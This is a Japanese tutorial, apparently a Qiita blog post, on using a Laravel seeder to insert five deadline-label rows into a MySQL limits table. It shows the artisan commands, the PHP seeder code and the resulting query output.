    +------------+-----------------+--------------------+------+-----+---------+----------------+---------------------------------+---------+
    
  • limitsテーブルのnameカラムが「今日中」「明日中」「今週中」「今月中」「未定」となるレコードを追加したいとする。

  • 今回の方法で紹介するコマンドは特筆しない限り前のコマンドと同じディレクトリで実行するものとする。

方法

  1. アプリ名ディレクトリで下記コマンドを実行してSeederのファイルを作成する。

    $ php artisan make:seeder LimitTableSeeder
    
  2. 下記コマンドを実行して作成したSeederファイルを開く。

    $ vi database/seeders/LimitTableSeeder.php
    
  3. 開いたSeederファイルを下記のように修正する。

    アプリ名ディレクトリ/database/seeders/LimitTableSeeder.php
    <?php
    
    namespace Database\Seeders;
    
    use Illuminate\Database\Seeder;
    use Carbon\Carbon;
    use Illuminate\Support\Facades\DB;
    
    class LimitTableSeeder extends Seeder
    {
        /**
         * Run the database seeds.
         *
         * @return void
         */
        public function run()
        {
            $limit_names = [
                '今日中',
                '明日中',
                '今週中',
                '今月中',
                '未定',
            ];
    
            $now = Carbon::now();
            foreach ($limit_names as $limit_name) {
                $limit_info = [
                    'name' => $limit_name,
                    'created_at' => $now,
                    'updated_at' => $now,
                ];
                DB::table('limits')->insert($limit_info);
            }
        }
    }
    
  4. 下記コマンドを実行して作成したSeederを登録するファイルを開く。

    $ vi database/seeders/DetabaseSeeder.php
    
  5. 下記のように内容を追記する。

    アプリ名ディレクトリ/database/seeders/DetabaseSeeder.php
    <?php
    
    namespace Database\Seeders;
    
    use Illuminate\Database\Seeder;
    
    class DatabaseSeeder extends Seeder
    {
        /**
         * Seed the application's database.
         *
         * @return void
         */
        public function run()
        {
            // \App\Models\User::factory(10)->create();
            $this->call(LimitTableSeeder::class);
        }
    }
    
  6. 下記コマンドを実行してシーディングの実行を行う。

    $ php artisan db:seed
    
  7. MySQLにログインしlimitsテーブルを確認したところ下記のように表示されたため正常にSeederで登録指示したファイルが正常にシーディングされたことがわかる。

    mysql> select * from limits;
    +----+-----------+---------------------+---------------------+------------+
    | id | name      | created_at          | updated_at          | deleted_at |
    +----+-----------+---------------------+---------------------+------------+
    |  1 | 今日中    | 2021-03-13 12:00:03 | 2021-03-13 12:00:03 | NULL       |
    |  2 | 明日中    | 2021-03-13 12:00:03 | 2021-03-13 12:00:03 | NULL       |
    |  3 | 今週中    | 2021-03-13 12:00:03 | 2021-03-13 12:00:03 | NULL       |
    |  4 | 今月中    | 2021-03-13 12:00:03 | 2021-03-13 12:00:03 | NULL       |
    |  5 | 未定      | 2021-03-13 12:00:03 | 2021-03-13 12:00:03 | NULL       |
    +----+-----------+---------------------+---------------------+------------+
    5 rows in set (0.00 sec)
    
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む